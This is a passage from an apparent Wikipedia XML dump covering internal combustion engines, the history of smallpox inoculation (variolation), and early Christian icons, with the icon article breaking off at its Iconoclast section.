For low power mobile and many non-mobile applications an [[electric motor]] is a competitive alternative. In the future, electric motors may also become competitive for most mobile applications. However, the high cost, weight, and poor energy density of [[Lead-acid battery|PbA]] and even [[Nickel metal hydride battery|NiMH]] [[battery (electricity)|batteries]] and lack of affordable on board electric generators such as [[fuel cell]]s has largely restricted their use to specialist applications.  However recent battery advancements in lightweight [[Lithium ion battery|Li-ion]] and [[Lithium ion polymer battery|Li-poly]] chemistries are bringing safety, power density, lifespan, and cost to within acceptable or even desirable levels.  For example recently [[battery electric vehicle]]s began to demonstrated 300 miles of range on Lithium, now improved power makes them appealing for [[plug-in hybrid electric vehicle]]s whose electric range is less critical having internal combustion for ''unlimited'' range.

==Operation==
All '''internal combustion engines''' depend on the [[exothermic]] chemical process of [[combustion]]: the reaction of a [[fuel]], typically with air, although other oxidisers such as [[nitrous oxide]] may be employed. Also see [[stoichiometry]].

The most common fuels in use today are made up of [[hydrocarbon]]s and are derived from [[petroleum]]. These include the fuels known as [[diesel]], [[gasoline]] and [[liquified petroleum gas]]. Most internal combustion engines designed for gasoline can run on [[natural gas]] or liquified petroleum gases without modifications except for the fuel delivery components. Liquid and gaseous [[biofuel]]s of adequate formulation can also be used.

Some have theorized that in the future [[hydrogen]] might [[Hydrogen economy|replace such fuels]]. Furthermore, with the introduction of hydrogen [[fuel cell]] technology, the use of internal combustion engines may be phased out. The advantage of hydrogen is that its combustion produces only [[water]].  This is unlike the combustion of hydrocarbons, which also produces [[carbon dioxide]], a major cause of [[global warming]], as well as [[carbon monoxide]], resulting from incomplete combustion. The big disadvantage of hydrogen in many situations is [[Hydrogen_economy#Storage|its storage]]. Liquid hydrogen has extremely low density- 14 times lower than water and requires extensive insulation, whilst gaseous hydrogen requires very heavy tankage. While hydrogen is light and therefore has a higher specific energy, the volumetric efficiency is still roughly five times lower than petrol. This is why hydrogen must be compressed if there is to be a useful amount of stored energy. Except in the case of the Hydrogen on Demand process, designed by Steven Amendola, where hydrogen is created as it is needed.

All internal combustion engines must have a means of [[ignition system|ignition]] to promote combustion. Most engines use either an [[spark plug|electrical]] or a [[compression heating ignition]] system. Electrical ignition systems generally rely on a [[lead-acid battery]] and an [[induction coil]] to provide a high voltage electrical spark to ignite the air-fuel mix in the engine's cylinders. This battery can be recharged during operation using an ''[[alternator]]'' driven by the engine. Compression heating ignition systems ([[Diesel engine]]s and [[HCCI]] engines) rely on the heat created in the air by compression in the engine's cylinders to ignite the fuel.

Once successfully ignited and burnt, the combustion products (hot [[gas]]es) have more available energy than the original compressed fuel/air mixture (which had higher [[chemical energy]]). The available energy is manifested as high [[temperature]] and [[pressure]] which can be translated into [[Mechanical work|work]] by the engine. In a reciprocating engine, the high pressure product gases inside the cylinders drive the engine's pistons.

Once the available energy has been removed the remaining hot gases are vented (often by opening a [[poppet valve|valve]] or exposing the exhaust outlet) and this allows the piston to return to its previous position (Top Dead Center - TDC). The piston can then proceed to the next phase of its cycle (which varies between engines). Any [[heat]] not translated into work is a waste product and is removed from the engine either by an air or liquid cooling system.

==Parts==
[[Image:Four stroke cycle compression.jpg|thumb|An illustration of several key components in a typical [[four-stroke cycle|four-stroke]] engine]]

The parts of an engine vary depending on the engine's type. For a [[four-stroke cycle|four-stroke]] engine, key parts of the engine include the [[crankshaft]] (purple), one or more [[camshaft]]s (red and blue) and [[poppet valve|valve]]s. For a [[two-stroke cycle|two-stroke]] engine, there may simply be an exhaust outlet and fuel inlet instead of a valve system. In both types of engines, there are one or more cylinders (grey and green) and for each cylinder there is a [[spark plug]] (darker-grey), a [[piston]] (yellow) and a [[crank (mechanism)|crank]] (purple). A single sweep of the cylinder by the piston in an upward or downward motion is known as a stroke and the downward stroke that occurs directly after the air-fuel mix in the cylinder is ignited is known as a power stroke.

A [[Wankel engine]] has a triangular rotor that orbits in an [[epitroichoid]]al (figure 8 shape) chamber around an eccentric shaft. The four phases of operation (intake, compression, power, exhaust) take place in separate locations, instead of one single location as in a reciprocating engine.

A [[Bourke Engine]] uses a pair of pistons integrated to a [[Scotch Yoke]] that transmits reciprocating force through a specially designed bearing assembly to turn a crank mechanism. Intake, compression, power, and exhaust all occur in each stroke of this yoke.

==Classification==
There is a wide range of internal combustion engines corresponding to their many varied applications. Likewise there is a wide range of ways to classify internal-combustion engines, some of which are listed below.

Although the terms sometimes cause confusion, there is no real difference between an &quot;engine&quot; and a &quot;motor.&quot; At one time, the word &quot;engine&quot; (from [[Latin]], via [[Old French]], ''ingenium'', &quot;ability&quot;) meant any piece of [[machinery]]. A &quot;motor&quot; (from Latin ''motor'', &quot;mover&quot;) is any machine that produces mechanical [[Power (physics)|power]]. Traditionally, [[electric motor]]s are not referred to as &quot;engines,&quot; but combustion engines are often referred to as &quot;motors.&quot;

===Principles of operation===
[[Image:Antique gasoline engine.jpg|thumb|A 1906 gasoline engine]]

[[Reciprocating engine|Reciprocating]]:
* [[two-stroke cycle|Two-stroke engine]]
* [[four-stroke cycle|Four-stroke engine]]
* [[Sleeve_valve|Sleeve valve four-stroke]]
* [[Bourke Engine]]

[[Pistonless rotary engine|Rotary]]:
*Demonstrated:
** [[Wankel engine]]
*Proposed:
** [[orbital engine]]
** [[quasiturbine]]

Continuous combustion:
* [[gas turbine]]
* [[jet engine]]
* [[rocket engine]]

===Engine cycle===
Engines based on the [[two-stroke cycle]] use two strokes (one up, one down) for every power stroke. Since there are no dedicated intake or exhaust strokes, alternative methods must be used to [[scavenge]] the cylinders. The most common method in spark-ignition two-strokes is to use the downward motion of the piston to pressurize fresh [[charge]] in the [[crankcase]], which is then blown through the cylinder through ports in the cylinder walls. Spark-ignition two-strokes are small and light (for their power output), and mechanically very simple. Common applications include [[snowmobile]]s, [[lawnmower]]s, [[chain saw]]s, [[jet ski]]s, [[moped]]s, [[outboard motor]]s and some [[motorcycle]]s. Unfortunately, they are also generally louder, less efficient, and far more polluting than their four-stroke counterparts, and they do not scale well to larger sizes. Interestingly, the largest compression-ignition engines are two-strokes, and are used in some locomotives and large ships. These engines use
[[forced induction]] to scavenge the cylinders.

Engines based on the [[four-stroke cycle]] or Otto cycle have one power stroke for every four strokes (up-down-up-down) and are used in cars, larger [[boat]]s and many light [[aircraft]]. They are generally quieter, more efficient and larger than their two-stroke counterparts. There are a number of variations of these cycles, most notably the [[Atkinson cycle|Atkinson]] and [[Miller cycle|Miller]] cycles. Most truck and automotive Diesel engines use a four-stroke cycle, but with a compression heating ignition system it is possible to talk separately about a [[diesel cycle]]. The [[Wankel engine]] operates with the same separation of phases as the four-stroke engine (but with no piston strokes, would more properly be called a four-phase engine), since the phases occur in separate locations in the engine; however like a two-stroke piston engine, it provides one power 'stroke' per revolution per rotor, giving it similar space and weight efficiency. The [[Bourke cycle]]'s combustion phase more closely
approximates [[constant volume combustion]] than either four stroke or two stroke cycles do. It also uses less moving parts, hence needs to overcome less [[friction]] than the other two reciprocating types have to. In addition, its greater [[expansion ratio]] also means more of the heat from its combustion phase is utilized than is used by either four stroke or two stroke cycles.

===Fuel and oxidizer types===
Fuels used include [[gasoline]] (British term: petrol), [[Liquified Petroleum Gas]], [[Vapourized Petroleum Gas]], [[compressed natural gas]], [[hydrogen]], [[diesel fuel]], [[JP18]] (jet fuel), [[landfill gas]], [[biodiesel]], [[peanut oil]], [[ethanol]], [[methanol]] (methyl or wood alcohol). Even fluidised metal powders and explosives have seen some use. Engines that use gases for fuel are called gas engines and those that use liquid hydrocarbons are called oil engines. However, gasoline engines are unfortunately also often colloquially referred to as 'gas engines'.

The main limitations on fuels are that the fuel must be easily transportable through the [[fuel system]] to the [[combustion chamber]], and that the fuel release sufficient [[energy]] in the form of [[heat]] upon [[combustion]] to make use of the engine practical.

The oxidiser is typically air, and has the advantage of not being stored within the vehicle, increasing the power-to-weight ratio. Air can, however, be compressed and carried aboard a vehicle. Some submarines are designed to carry pure [[oxygen]] or [[hydrogen peroxide]] to make them air-independent. Some race cars carry [[nitrous oxide]] as oxidizer. Other chemicals such as chlorine or fluorine have seen experimental use; but mostly are impractical.

[[Diesel engines]] are generally heavier, noisier and more powerful at lower speeds than [[gasoline engine]]s. They are also more fuel-efficient in most circumstances and are used in heavy road-vehicles, some automobiles (increasingly more so for their increased fuel-efficiency over [[gasoline engine]]s), ships and some [[locomotive]]s and light [[aircraft]]. Gasoline engines are used in most other road-vehicles including most cars, [[motorcycle]]s and [[moped]]s. Note that in [[Europe]], sophisticated diesel-engined cars have become quite prevalent since the 1990s, representing around 40% of the market. Both gasoline and diesel engines produce significant emissions. There are also engines that run on [[hydrogen car|hydrogen]], [[methanol]], [[ethanol]], [[liquefied petroleum gas]] (LPG) and [[biodiesel]]. [[Paraffin]] and [[Tractor vaporising oil]] (TVO) engines are no longer seen.

[[image:Moore-single-cylinder-gasoline-engine.jpg|left|thumb|150px|One-cylinder gasoline engine (c. 1910).]]

===Cylinders===
Internal combustion engines can contain any number of cylinders with numbers between one and twelve being common, though as many as 28 have been used. Having more cylinders in an engine yields two potential benefits: First. the engine can have a larger displacement with smaller individual reciprocating masses (that is, the mass of each piston can be less) thus making a smoother running engine (since the engine tends to vibrate as a result of the pistons moving up and down). Second, with a greater displacement and more pistons, more fuel can be combusted and there can be more combustion events (that is, more power strokes) in a given period of time, meaning that such an engine can generate more torque than a similar engine with fewer cylinders. The down side to having more pistons is that, over all, the engine will tend to weigh more and tend to generate more internal friction as the greater number of pistons rub against the inside of their cylinders. This tends to decrease fuel efficiency and rob the engine
of some of its power. For high performance gasoline engines using current materials and technology (such as the engines found in modern automobiles), there seems to be a break point around 10 or 12 cylinders, after which addition of cylinders becomes an overall detriment to performance and efficiency, although exceptions such as the W-16 engine from [[Volkswagen]] exist.

*Most car engines have four to eight cylinders, with some high performance cars having ten, twelve, or even sixteen, and some very small cars and trucks having two or three. In previous years some quite large cars, such as the [[DKW]] and [[Saab 92]], had two cylinder, two stroke engines.
*[[Radial engine|Radial]] [[aircraft]] engines, now obsolete, had from five to 28 cylinders. A row contains an odd number of cylinders, so an even number indicates a two- or four-row engine.
*[[Motor cycle]]s commonly have from one to four cylinders, with a few high performance models having six.
*[[Snowmobile]]s usually have two cylinders. Some larger (not necessarily high-performance, but also touring machines) have four.
*Small portable appliances such as [[chainsaw]]s, generators and domestic [[lawn mower]]s most commonly have one cylinder, although two-cylinder chainsaws exist.

===Ignition system===
Internal combustion engines can be classified by their [[ignition system]]. Today most engines use an [[spark plug|electrical]] or [[compression heating ignition|compression heating]] system for ignition. However [[outside flame ignitor|outside flame]] and [[hot-tube ignitor|hot-tube]] systems have been used historically. [[Nikola Tesla]] gained one of the first patents on the mechanical ignition system with {{US patent|609250}}, &quot;''Electrical Igniter for Gas Engines''&quot;, on [[16 August]] [[1898]].

===Fuel systems===
Often for simpler reciprocating engines a [[carburetor]] is used to supply fuel into the cylinder. However, exact control of the correct amount of fuel supplied to the engine is impossible.

Larger gasoline engines such as used in cars have mostly moved to [[Fuel injection]] systems. LPG engines use a mix of [[Fuel injection]] systems and closed loop [[carburetor]]s. [[Diesel engines]] always use [[fuel injection]].

Other internal combustion engines like [[Jet engines]] use burners, and rocket engines use various different ideas including impinging jets, gas/liquid shear, preburners and many other ideas.

===Engine configuration===
Internal combustion engines can be classified by their [[engine configuration|configuration]] which affects their physical size and smoothness (with smoother engines producing less [[vibration]]). Common configurations include the [[straight engine|straight or inline configuration]], the more compact [[V engine|V configuration]] and the wider but smoother [[flat engine|flat or boxer configuration]]. Aircraft engines can also adopt a [[radial engine|radial configuration]] which allows more effective cooling. More unusual configurations, such as &quot;[[H engine|H]]&quot;, &quot;[[U engine|U]]&quot;, &quot;X&quot;, or &quot;[[W engine|W]]&quot; have also been used.

Multiple-crankshaft configurations do not necessarily need a cylinder head at all, but can instead have a piston at each end of the cylinder, called an [[opposed piston]] design. This design was used in the [[Junkers Jumo 205]] diesel aircraft engine, using two crankshafts, one at either end of a single bank of cylinders, and most remarkably in the [[Napier Deltic]] diesel engines, which used three crankshafts to serve three banks of double-ended cylinders arranged in an equilateral triangle with the crankshafts at the corners. It was also used in single-bank locomotive engines, and continues to be used for marine engines, both for propulsion and for auxiliary generators. The [[Gnome Rotary]] engine, used in several early aircraft, had a stationary crankshaft and a bank of radially arranged cylinders rotating around it.

===Engine capacity===
An engine's capacity is the [[engine displacement|displacement]] or [[swept volume]] by the pistons of the engine. It is generally measured in [[litre]]s or cubic inches for larger engines and [[cubic centimetre]]s (abbreviated to cc's) for smaller engines. Engines with greater capacities are usually more powerful and provide greater torque at lower rpms but also consume more fuel.

Apart from designing an engine with more cylinders, there are two ways to increase an engine's capacity. The first is to lengthen the stroke and the second is to increase the piston's diameter. In either case, it may be necessary to make further adjustments to the fuel intake of the engine to ensure optimal performance.

An engine's quoted capacity can be more a matter of [[marketing]] than of engineering. The [[Morris Minor]] 1000, the Morris 1100, and the [[Austin-Healey Sprite]] Mark II all had engines of the same stroke and bore according to their specifications, and were from the same maker. However the engine capacities were quoted as 1000cc, 1100cc and 1098cc respectively in the sales literature and on the vehicle badges.

===Engine pollution===
Generally internal combustion engines, particularly reciprocating internal combustion engines, produce moderately high pollution levels, due to incomplete combustion of carbonaceous fuel, leading to carbon monoxide and some soot along with oxides of nitrogen &amp; sulfur and some unburnt hydrocarbons depending on the operating conditions and the fuel/air ratio.

Diesel engines produce a wide range of pollutants including aerosols of many small particles that are believed to penetrate deeply into human lungs.

* Many fuels contain [[sulfur]] leading to [[sulfur oxide]]s (SOx) in the exhaust, promoting acid rain.
* The high temperature of combustion creates greater proportions of [[nitrogen oxide]]s (NOx), demonstrated to be hazardous to both plant and animal health.
* Net carbon dioxide production is not a necessary feature of engines, but since most engines are run from fossil fuels this usually occurs. If engines are run from biomass, then no net carbon dioxide is produced as the growing plants absorb as much, or more carbon dioxide while growing.
* Hydrogen engines need only produce water, but when air is used as the oxidizer nitrogen oxides are also produced.

==Bibliography==
*Singer, Charles Joseph; Raper, Richard, ''A history of technology : The Internal Combustion Engine'', edited by Charles Singer ... [et al.], Clarendon Press, 1954-1978. pp.157-176[http://proxy.bib.uottawa.ca:2398/cgi/t/text/pageviewer-idx?c=acls&amp;cc=acls&amp;idno=heb02191.0005.001&amp;q1=bicycle&amp;frm=frameset&amp;seq=5]

*Hardenberg, Horst O., ''The Middle Ages of the Internal combustion Engine'', Society of Automotive Engineers (SAE), 1999

==External links==
{{Commons|Category:Internal combustion engine}}
*[http://www.keveney.com/Engines.html Animated Engines] - explains a variety of types
*[http://auto.howstuffworks.com/engine3.htm How Internal Combustion Works] - with animation

[[Category:Engines]]
[[Category:Engine technology]]
[[Category:Energy conversion]]


[[af:Binnebrandenjin]]
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[[uk:Двигун внутрішнього згорання]]</text>
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  </page>
  <page>
    <title>Inoculation</title>
    <id>14798</id>
    <revision>
      <id>40334442</id>
      <timestamp>2006-02-19T22:05:31Z</timestamp>
      <contributor>
        <username>Midgley</username>
        <id>278218</id>
      </contributor>
      <minor />
      <comment>/* Origins and Importation to Christendom */</comment>
      <text xml:space="preserve">&lt;!--several detailed sources are given in the paragraphs immediately below the first one, within this section.  Is it too much to actually read the article before deciding that there is not a reference in teh first line and therefore there is none at all? --&gt;
'''Inoculation''', originally '''Variolation''', is a method of minimising the harm done by [[infection]] with [[smallpox]] (Variola). It  preceded [[vaccination]] -  though today popular usage of ''inoculation'', ''vaccination'' and [[immunisation]]&lt;!-- ENglish spelling, no less international than AMerican, and I'm English--&gt; is more or less interchangable and refer to the process of [[Immunization (medicine)|artifically inducing immunity]] against various infectious [[disease]]s. The microorganisms used in an inoculation are called the inoculant or inoculum.

Inoculation in the East was performed by blowing Smallpox crusts into the nostril, but in Britain, Europe and the American Colonies the preferred method was rubbing material from a smallpox pustule from a selected mild case - Variola Minor - into a scratch between the thumb and forefinger. &lt;!--Pollux, some people say--&gt; [[Image:Inoculation.jpg|thumb|right|Typical site of inoculation in Europe and the British   colonies]][http://www.nlm.nih.gov/exhibition/smallpox/sp_variolation.html]
__TOC__
It would not be performed when the recipient was in less than normal good health, and thus at his peak resistance.  The recipient would develop smallpox. However, because of the selection of the donor and the moment, and presumably because of the small inoculum, and the single point of initial infection compared to the eruption over much of the body of natural Variola after inhalation a particularly mild form of smallpox developed, which had a far lower [[mortality rate]] than catching smallpox in the normal way, and as with the survivors of the natural disease left an immunity to later re-infection. The inoculated subject also usually recovered from the infection with far less facial scarring than occurred with naturally acquired smallpox. 

== Origins and Importation to Christendom ==
The earliest use of the practice remains unknown. It had occurred in various manners in East [[Africa]], [[India]] and in [[China]] for centuries, but documentation exists of its adoption in western [[Europe]]. In the early 18th century, [[Lady Mary Wortley Montagu]], whose husband [[Edward Wortley Montagu (politician)|Edward Wortley Montagu]] served as the [[England|English]] [[ambassador]] to the [[Ottoman Empire]] from 1716 to 1717, witnessed inoculation in [[Constantinople]]. The process impressed her greatly: she had lost a brother to smallpox and bore facial scars from the disease herself. In March [[1718]] she had the embassy surgeon, Charles Maitland, inoculate her five-year-old son. In [[1721]], after returning to England, she had her four-year-old daughter inoculated. She invited friends to see her daughter, including [[Sir Hans Sloane]], the [[George I of Great Britain|King]]'s physician. Sufficient interest arose that Maitland gained permission to test inoculation on six condemned prisoners at [[Newgate prison]], witnessed by a number of notable doctors. The trial succeeded; the prisoners gained their freedom, and in 1722 [[George II of Great Britain|the Prince of Wales']] daughters received inoculations. 

The practice of inoculation slowly spread amongst the royal families of Europe, usually followed by the more general adoption amongst the people. 

As early as [[1732]] the practice is documented in [[United States|America]]. Fearing the outbreak of an epidemic, the editor of the ''[[South Carolina Gazette]]'' published a detailed description of the innoculation process in the April 22 issue. In Boston there was argument with churchmen on both sides &quot;...within a year or two after the first experiment nearly three hundred persons had been inoculated by Boylston in Boston and neighbouring towns, and out of these only six had died; whereas, during the same period, out of nearly six thousand persons who had taken smallpox naturally, and had received only the usual medical treatment, nearly one thousand had died.&quot;[http://abob.libs.uga.edu/bobk/whitem10.html A HISTORY OF THE WARFARE OF SCIENCE WITH THEOLOGY IN CHRISTENDOM ] Andrew Dickson White.  
&lt;div style=&quot;float:right;&quot;&gt;
&lt;table border=1&gt;
&lt;caption&gt;Natural experiment around Boston&lt;/caption&gt;
&lt;tr&gt;&lt;td&gt;            &lt;/td&gt;&lt;td&gt;Total &lt;/td&gt;&lt;td&gt;Died&lt;/td&gt;&lt;td&gt;Mortality %&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Variolated  &lt;/td&gt;&lt;td&gt;C  300&lt;/td&gt;&lt;td&gt;     6&lt;/td&gt;&lt;td&gt;C  2%&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Unvariolated&lt;/td&gt;&lt;td&gt;C 6000&lt;/td&gt;&lt;td&gt;C 1000&lt;/td&gt;&lt;td&gt;&quot;about 14%&quot;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
(The 14% figure rather than 17% comes from&lt;br&gt; 
&quot;Edward Jenner and Vaccination.  Harris[http://www.worldwideschool.org/library/books/tech/medicine/EdwardJennerAndVaccination/chap1.html])
&lt;/div&gt;

[[John Zephaniah Holwell| J.Z. Holwell]] described the [[Ayurveda|Ayurvedic]] system of inoculation against smallpox to the [[Royal College of Physicians]] in [[London]] in [[1767]] in a tract called ''An account of the manner of inoculating for the small pox in the East Indies''. He based his account on observations made during his residence in [[Bengal]].

In [[France]] considerable opposition arose to the introduction of inoculation: [[Voltaire]], in his ''Lettres Philosophiques''  wrote a criticism of his countrymen for having so little regard for the welfare of their children
(English translation on-line[http://www.bartleby.com/34/2/11.html]). 


Given the prevalence of smallpox in the 18th century (60% incidence of first infection, 20% mortality 20% severe scarring. Voltaire), one could expect almost inevitably to become infected by it sooner or later. The advantages of inoculation seemed so evident that parents would pre-empt the dangerous natural infection by the less risky use of inoculation; but [[Edward Jenner]]'s introduction of the far safer [[cowpox]] in vaccination after 1796 eventually led to the smallpox inoculation falling into disuse, and being banned in England in 1840.

==See also==
*[[Inoculation effect]]
*[[Stress inoculation]]

{{Vaccines}}

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  </page>
  <page>
    <title>Icon</title>
    <id>14800</id>
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      <timestamp>2006-03-04T00:28:21Z</timestamp>
      <contributor>
        <ip>81.153.28.32</ip>
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      <comment>/* Catholic */</comment>
      <text xml:space="preserve">[[Image:rublev's_saviour.jpg|right|thumb|[[Christ the Redeemer]] (1410s, by [[Andrei Rublev]])]]
:''For other senses of this word, see [[icon (disambiguation)]].''

An '''icon''' (from [[Greek language|Greek]] {{polytonic|εἰκών}}, ''eikon'', &quot;image&quot;) is an image, picture, or representation; it is a sign or likeness that stands for an object by signifying or representing it, or by analogy, as in semiotics; in computers an icon is a symbol on the monitor used to signify a command; by extension, '''''icon''''' is also used, particularly in modern popular culture, in the general sense of [[symbol]] &amp;mdash; i.e. a name, face, picture or even a person readily recognized as having some well-known significance or embodying certain qualities.  

In Eastern Orthodoxy and other icon-painting Christian traditions, the icon is generally a flat panel painting depicting a holy being or object such as [[Jesus]], [[Mary, the mother of Jesus|Mary]], [[saints]], [[angels]], or the [[Christian cross|cross]].  Icons may also be cast in metal, carved in stone, embroidered on cloth, done in mosaic work, printed on paper or metal, etc.

==Images in religion==
Throughout history religion has often made use of images, whether in two dimensions or three.  Some, such as [[Hinduism]], have a very rich iconography called [[murti]], while others, such as Islam, severely limit the use of visual representations.  The function and degree to which images are used or permitted, and whether they are for purposes of ornament, instruction, inspiration, or treated as sacred objects of veneration or worship, thus depends upon the tenets of a given religion.

==Icons in Christianity==
Christianity originated as a movement within Judaism during a time when there was great concern about idolatry.  

There is no evidence of the making and use of painted icons or of similar religious images by Christians within the New Testament writings. However, Eastern Orthodox theologian Rev. Dr. Steven Bigham writes (''Early Christian Attitudes Toward Images'', Orthodox Research Institute, 2004), &quot;The first thing to note is that there is a total silence about Christian and non-idolatrous images. It is important to note that the silence is in the New Testament texts, and this silence should not be interpreted as describing all the activities of the Apostles or 1st century Christians. St. John himself said that 'Jesus did many other signs in the presence of the disciples, which are not written in this book...' (Jn 20.30). We could easily add that the Apostles also did and said many things not recorded in the New Testament. It is obvious, therefore, that we do not have a complete account of the activities and sayings of the Apostles. So, if we want to find out if the first Christians made or ordered any kind of figurative art, the New Testament is of no use whatsoever. The silence is a fact, but the reason given for the silence varies from exegete to exeget depending on his assumptions.&quot;  In other words, relying only upon the New Testament as evidence of no painted icons amounts to an argument from silence.

Though the word ''eikon'' is found in the New Testament (see below), it is never in the context of painted icons. There were, of course, Christian paintings and art in the early [[Catacombs of Rome|catacomb churches]]. Many can still be viewed today, such as those in the catacomb churchs of Domitilla and San Callisto in Rome.

The earliest written records available of Christian images treated like icons are in a [[Paganism|pagan]] or [[Gnostic]] context. Alexander Severus (A.D. 222–235) kept a domestic chapel for the veneration of  images of deified emperors, of portraits of his ancestors, and of Christ, Apollonius, Orpheus and Abraham  (Lampridius, ''Life of Alexander Severus'' xxix.).  [[Irenaeus of Lyons|Irenaeus]], in his ''Against Heresies'' 1:25;6, says of the Gnostic Carpocratians, “''They also possess images, some of them painted, and others formed from different kinds of material; while they maintain that a likeness of Christ was made by Pilate at that time when Jesus lived among them. They crown these images, and set them up along with the images of the philosophers of the world that is to say, with the images of Pythagoras, and Plato, and Aristotle, and the rest. They have also other modes of honouring these images, after the same manner of the Gentiles'' [pagans].” 

A criticism of image veneration is found in the apocryphal ''[[Acts of John]]'' (generally considered a [[gnostic]] work), in which the Apostle John discovers that one of his followers has had a portrait made of him, and is venerating it:  
(27)  ''“...he [John] went into the bedchamber, and saw the portrait of an old man crowned with garlands, and lamps and altars set before it. And he called him and said: Lycomedes, what do you mean by this matter of the portrait?  Can it be one of thy gods that is painted here?  For I see that you are still living in heathen fashion''.” Later in the passage John says, ''&quot;But this that you have now done is childish and imperfect: you have drawn a dead likeness of the dead.&quot;'' [[Image:Ushakov Nerukotvorniy.jpg|thumb|left|200px|''Image of the Saviour Not Made by Hand'': a traditional Orthodox iconography in the interpretation of [[Simon Ushakov]] (1658).]]

In addition to the legend that Pilate had made an image of Christ, the 4th Century bishop Eusebius, in his ''Church History'', provides another reference to a “first” icon of Jesus.  He relates that King Abgar of Edessa sent a letter to Jesus at Jerusalem, asking Jesus to come and heal him of an illness.  In this version there is no image.   Then, in the later account found in the Syriac ''Doctrine of Addai'', a painted image of Jesus is mentioned in the story; and even later, in the account given by Evagrius, the painted image is transformed into an image that miraculously appeared on a towel  when Christ pressed the cloth to his wet face (''Veronica and her Cloth'', Kuryluk, Ewa, Basil Blackwell, Cambridge, 1991). Further legends relate that the cloth remained in Edessa until the 10th century, when it was taken to Constantinople. In 1204 it was lost when Constantinople was sacked by Crusaders.

Elsewhere in his ''Church History'', Eusebius reports seeing what he took to be portraits of Jesus, Peter and Paul, and also mentions a bronze statue at Banias / Paneas, of which he wrote, &quot;They say that this statue is an image of Jesus&quot; (H.E. 7:18); further, he relates that locals thought the image to be a memorial of the healing of the woman with an issue of blood by Jesus (Luke 8:43-48), because it depicted a standing man wearing a double cloak and with arm outstretched, and a woman kneeling before him with arms reaching out as if in supplication. Some scholars today think it possible to have been a misidentified pagan statue whose true identity had been forgotten; some have thought it to be Aesculapius, the God of healing, but the description of the standing figure and the woman kneeling in supplication is precisely that found on coins depicting the bearded emperor Hadrian reaching out to a female figure symbolizing a province kneeling before him (see John Francis Wilson's ''Caesarea Philippi: Banias, the Lost City of Pan''; I.B Taurus, London, 2004).  

When Christianity was legalized by the emperor Constantine within the Roman Empire in the early 4th Century, huge numbers of pagans became converts.  This created the opportunity for the transfer of allegiance and practice from the old gods and heroes to the new religion, and for the gradual adaptation of the old system of image making and veneration to a Christian context. &quot;By the early fifth century, we know of the ownership of private icons of saints; by c. 480-500, we can be sure that the inside of a saint's shrine would be adorned with images and votive portraits, a practice which had probably begun earlier&quot; (''Pagans and Christians'', Robin Lane Fox, Alfred A. Knopf, New York, 1989).

==Images from Constantine to Justinian == [[Image:Menas.jpg|thumb|250px|Christ and [[Saint Mina]]. A 6th-century icon from [[Egypt]] (now in the [[Louvre]]).]]

After the legalization of Christianity under Constantine, and its adoption as the Roman state religion under [[Theodosius I]], Christian art began to change  not only in quality and sophistication, but also in nature.  This was in no small part due to Christians being free for the first time to express their faith openly without persecution from the state, in addition to the faith spreading to the non-poor segments of society.  Paintings of martyrs and their feats began to appear, and early writers commented on their lifelike effect, one of the elements a few Christian writers criticized in pagan art &amp;mdash; the ability to imitate life.  The writers mostly criticized that the pagan works of art pointed to false gods, and thusly constituted idolatry.  Nilus of Sinai, in his ''Letter to Heliodorus Silentiarius'', records a miracle in which St. Plato of Ankyra appeared to a Christian in a dream. The Saint was recognized because the young man had often seen his portrait.  This recognition of a religious figure from likeness to an image was also a characteristic of pagan pious accounts of appearances of gods to humans.  However, in the Old Testament we read of prophets having dreams of various heavenly figures, including a vision of God who appeared to Daniel as an elderly man, the &quot;Ancient of Days&quot;.

It is also in this period that the first mention of an image of Mary painted from life appears, though earlier paintings on cave walls bear resemblance to modern icons of Mary.  Theodorus Lector, in the ''History of the Church'' 1:1 (excerpted by Nicephorus Callistus Xanthopoulos) stated that Eudokia (wife of Theodosius II , died 460) sent an image of “the Mother of God” from Jerusalem to Pulcheria, daughter of the Emperor Arcadius (this is by some considered a later interpolation).  The image was specified to have been “painted by the Apostle Luke.”  In later tradition the number of icons of Mary attributed to Luke would greatly  multiply.

Early icons such as those preserved at the [[Saint_Catherine%27s_Monastery%2C_Mount_Sinai|Monastery of St. Catherine at Sinai]] are realistic in appearance, in contrast to the later stylization. They are very similar to the [[Fayum portraits|mummy portraits]] done in [[encaustic]] wax and found at Faiyum in Egypt. As we may judge from such items, the first depictions of Jesus were generic rather than portrait images, generally representing him as a beardless young man.  It was some time before the earliest examples of the long-haired, bearded face that was later to become standardized as the image of Jesus appeared.  And when they began to appear there was still variation.  [[Augustine of Hippo]] (354-430) said that no one knew the appearance of Jesus or that of Mary (''De Trinitatis'' 8:4-5), though it should be noted that Augustine wasn't a resident of the Holy Lands and therefore wasn't familiar with the local populations and their oral traditions.  Gradually, paintings of Jesus took on characteristics of portrait images.  [[Image:Petersinai.jpg|thumb|6th-century [[encaustic|hot wax icon]] of [[Saint Peter]], from [[Mount Sinai]].]]
 
At this time the manner of depicting Jesus was not yet uniform, and there was some controversy over which of the two most common forms was to be favored.  The first or “Semitic” form showed Jesus with short and “frizzy” hair; the second showed a bearded Jesus with hair parted in the middle, the manner in which the god Zeus was depicted.  Theodorus Lector remarked (''Church History'' 1:15) that of the two, the one with short and frizzy hair was “more authentic.” He also relates a story (excerpted by John of Damascus) that a pagan commissioned to paint an image of Jesus used the “Zeus” form instead of the “Semitic” form, and that as punishment his hands withered.

Though their development was gradual, we can date the full-blown appearance and general ecclesiastical (as opposed to simply popular or local) acceptance of Christian images as venerated and miracle-working objects to the 6th century, when, as Hans Belting writes, &quot;We first hear of the church's use of religious images...(''Likeness and Presence'', University of Chicago Press,1994).  &quot;...As we reach the second half of the sixth century, we find that images are attracting direct veneration and some of them are credited with the performance of miracles&quot; (Patricia Karlin-Hayter, The Oxford History of Byzantium, Oxford, 2002).  Cyril Mango writes, &quot;In the post-Justinianic period the icon assumes an ever increasing role in popular devotion, and there is a proliferation of miracle stories connected with icons, some of them rather shocking to our eyes&quot; (''The Art of the Byzantine Empire 312-1453'', University of Toronto Press, 1986).  However, the earlier references by Eusebius and Irenaeus indicate veneration of images and reported miracles associated with them as early as the second century.  It must also be noted that what might be shocking to our contemporary eyes may not have been viewed as such by the early Christians.  In Acts 5:15 of the New Testament, it is written that &quot;people brought the sick into the streets and laid them on beds and mats so that at least Peter's shadow might fall on some of them as he passed by.&quot;

==The Iconoclast Period==
:''Main article: [[Iconoclasm]]''

